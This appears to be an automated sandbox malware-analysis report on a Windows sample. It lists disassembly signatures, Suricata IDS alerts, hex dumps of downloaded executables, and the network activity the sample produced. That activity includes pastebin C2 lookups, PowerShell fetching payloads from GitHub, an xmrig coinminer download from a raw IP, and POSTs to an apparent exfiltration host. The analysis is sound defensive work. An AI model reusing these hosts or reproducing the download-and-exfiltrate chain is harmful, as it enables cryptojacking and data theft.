Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+14h]	14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-5EFC0B12h]	14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	14_2_00BEBEE0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h]	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax]	14_2_00BC3F3D
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD70BB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD70AB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-3FFFFFFCh]	14_2_00BC5080
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5E7F957Eh]	14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-00000084h]	14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5E7F957Eh]	14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD7014
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov dword ptr [edi], esi	14_2_00BA1040
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], eax	14_2_00BC3187
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	14_2_00BC92F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h]	14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2A63AD04h]	14_2_00BE9270
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+00000184h]	14_2_00BD53D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then jmp dword ptr [00BF3070h]	14_2_00BCC337
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h]	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6F2AC920h]	14_2_00BCF4BE
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+4Ch]	14_2_00BAF480
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esp+ebx+18h], cl	14_2_00BAE478
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+05F22ED0h]	14_2_00BBD5E8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov ecx, eax	14_2_00BEB5D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	14_2_00BBF57E
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ebx, bx	14_2_00BCE560
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov dword ptr [esp+04h], esi	14_2_00BEA6BC
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	14_2_00BAD690
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [esp], 00000000h	14_2_00BE5681
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+7BB9014Ah]	14_2_00BD66EE
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+7BB9014Ah]	14_2_00BD66E8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov ecx, eax	14_2_00BEB670
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-42092694h]	14_2_00BBE642
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov word ptr [eax], cx	14_2_00BBE642
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+esi]	14_2_00BA2790
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx]	14_2_00BE37F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5C59A7BEh]	14_2_00BCE8B0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	14_2_00BD38B0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-5EFC0B12h]	14_2_00BEC890
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	14_2_00BBA8E0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	14_2_00BB1806
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	14_2_00BA19E0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-3EB3DFC6h]	14_2_00BCC9DB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	14_2_00BBE9C7
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	14_2_00BEA970
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+07h]	14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov eax, ebx	14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+10h]	14_2_00BC2A70
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h]	14_2_00BD2BA0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+41288CCAh]	14_2_00BC7B38
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+54h]	14_2_00BC2B31
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h	14_2_00BE7B00
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-6715F17Bh]	14_2_00BC2CB3
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+37CF7FBCh]	14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov word ptr [ebx], ax	14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [ebx+edx-56h]	14_2_00BC3CE1
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	14_2_00BBFCD2
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movsx edx, byte ptr [esi+eax]	14_2_00BBACC0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 93A82FD1h	14_2_00BBAD90
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	14_2_00BE0DD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov word ptr [ebx], cx	14_2_00BD1DC6
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+5E7F9582h]	14_2_00BE7D20
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx-16h]	14_2_00BEBD10
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov byte ptr [esi], cl	14_2_00BD7D60
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov word ptr [eax], cx	14_2_00BD1F4B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then jmp dword ptr [00BF3B4Ch]	14_2_00BD1F4B
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_00CC4668
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CCC89h	15_2_028CC878
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CCCA8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CD370
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CD372
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD87Ah	15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CDA54h	15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD87Ah	15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CDA54h	15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CDA67h	15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CD592
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then jmp 028CD794h	15_2_028CCC9A
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	15_2_028C6D0D
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	15_2_028C6D0F

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic

TCP traffic: 192.168.2.6:56145 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:27 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7a 58 21 9a 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 48 00 00 00 0a 00 00 00 00 00 00 3a 66 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e7 65 00 00 4f 00 00 00 00 80 00 00 b8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 34 65 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 46 00 00 00 20 00 00 00 48 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 06 00 00 00 80 00 00 00 08 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 66 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 36 00 00 dc 2c 00 00 03 00 02 00 10 00 00 06 c4 63 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 04 00 b5 00 00 00 01 00 00 11 02 14 7d 1c 00 00 04 02 28 14 00 00 0a 00 00 02 28 06 00 00 06 00 28 05 00 00 06 00 28 03 00 00 06 00 02 28 0b 00 00 06 00 02 28 0a 00 00 06 00 7e 19 00 00 04 72 01 00 00 70 6f 15 00 00 0a 0a 06 2c 30 00 7e 03 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 7e 0f 00 00 04 7e 12 00 00 04 72 23 00 00 70 16 28 04 00 00 06 00 00 2b 18 00 7e 02 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 00 7e 01 00 00 04 7e 12 00 00 04 72 43 00 00 70 16 28 04 00 00 06 00 28 08 00 00 06 00 28 0c 00 00 06 00 02 28 0e 00 00 06 00 2a 00 00 00 13 30 03 00 21 00 00 00 02 00 00 11 00 02 28 16 00 00 0a 0a 06 25 6f 17 00 00 0a 20 80 00 00 00 60 6f 18 00 00 0a 00 06 0b 2b 00 07 2a 00 00 00 1b 30 04 00 a7 01 00 00 03 00 00 11 00 00 20 00 0f 00 00 28 19 00 00 0a 00 20 10 27 00 00 8d 31 00 00 01 0a 16 0b 16 0c 73 1a 00 00 0a 0d 09 7e 10 00 00 04 6f 1b 00 00 0a 13 04 11 04 73 1c 00 00 0a 13 05 00 06 16 72 5b
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:33 GMTContent-Type: application/octet-streamContent-Length: 8251392Last-Modified: Wed, 15 Jan 2025 19:13:17 GMTConnection: keep-aliveETag: "678808cd-7de800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 db 63 a2 64 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 10 5f 00 00 d8 7d 00 00 0c 32 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 b0 00 00 10 00 00 4c 7c 7e 00 03 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 ae 00 d8 46 00 00 00 40 af 00 e8 5c 00 00 00 10 76 00 9c ee 02 00 00 00 00 00 00 00 00 00 00 a0 af 00 6c 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 19 74 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c e0 ae 00 40 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 0a 5f 00 00 10 00 00 00 10 5f 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 60 04 01 00 00 20 5f 00 00 06 01 00 00 20 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 e0 dc 15 00 00 30 60 00 00 de 15 00 00 26 60 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 9c ee 02 00 00 10 76 00 00 f0 02 00 00 04 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 14 b9 03 00 00 00 79 00 00 ba 03 00 00 f4 78 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 e0 0a 32 00 00 c0 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 d8 46 00 00 00 d0 ae 00 00 48 00 00 00 ae 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 20 af 00 00 02 00 00 00 f6 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 30 af 00 00 02 00 00 00 f8 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 5c 00 00 00 40 af 00 e8 5c 00 00 00 fa 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 6c 8e 00 00 00 a0 af 00 00 90 00 00 00 58 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:33 GMTContent-Type: application/octet-streamContent-Length: 14544Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-38d0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 35 3a 6e fc 71 5b 00 af 71 5b 00 af 71 5b 00 af 71 5b 01 af 7d 5b 00 af 56 9d 7b af 74 5b 00 af 56 9d 7d af 70 5b 00 af 56 9d 6d af 72 5b 00 af 56 9d 71 af 70 5b 00 af 56 9d 7c af 70 5b 00 af 56 9d 78 af 70 5b 00 af 52 69 63 68 71 5b 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c1 26 8b 48 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 0c 00 00 00 0a 00 00 00 00 00 00 08 50 00 00 00 10 00 00 00 00 01 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 06 00 00 00 06 00 00 00 00 00 00 00 00 70 00 00 00 04 00 00 08 19 01 00 01 00 00 00 00 00 04 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 50 00 00 3c 00 00 00 00 60 00 00 c0 03 00 00 00 40 00 00 60 00 00 00 00 1a 00 00 d0 1e 00 00 00 00 00 00 00 00 00 00 70 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c6 06 00 00 00 10 00 00 00 08 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 7c 01 00 00 00 20 00 00 00 02 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 14 01 00 00 00 30 00 00 00 02 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 60 00 00 00 00 40 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 22 02 00 00 00 50 00 00 00 04 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e2 2e 72 73 72 63 00 00 00 c0 03 00 00 00 60 00 00 00 04 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic	HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49701 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56148 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56149 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49703 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56147 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56146 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56150 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2829056 - Severity 2 - ETPRO MALWARE Observed Request for xmrig.exe in - Coinminer Download : 192.168.2.6:56153 -> 185.215.113.51:80
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49699 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49698 -> 140.82.121.4:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.199.108.133:443 -> 192.168.2.6:49699

Source: global traffic	HTTP traffic detected: GET /deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /deripascod/coderoom/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QiNSpt3q62pKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14899Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=10tYzmOt99xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=oNC5rKA7bI9O4z3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19952Host: crosshairc.life
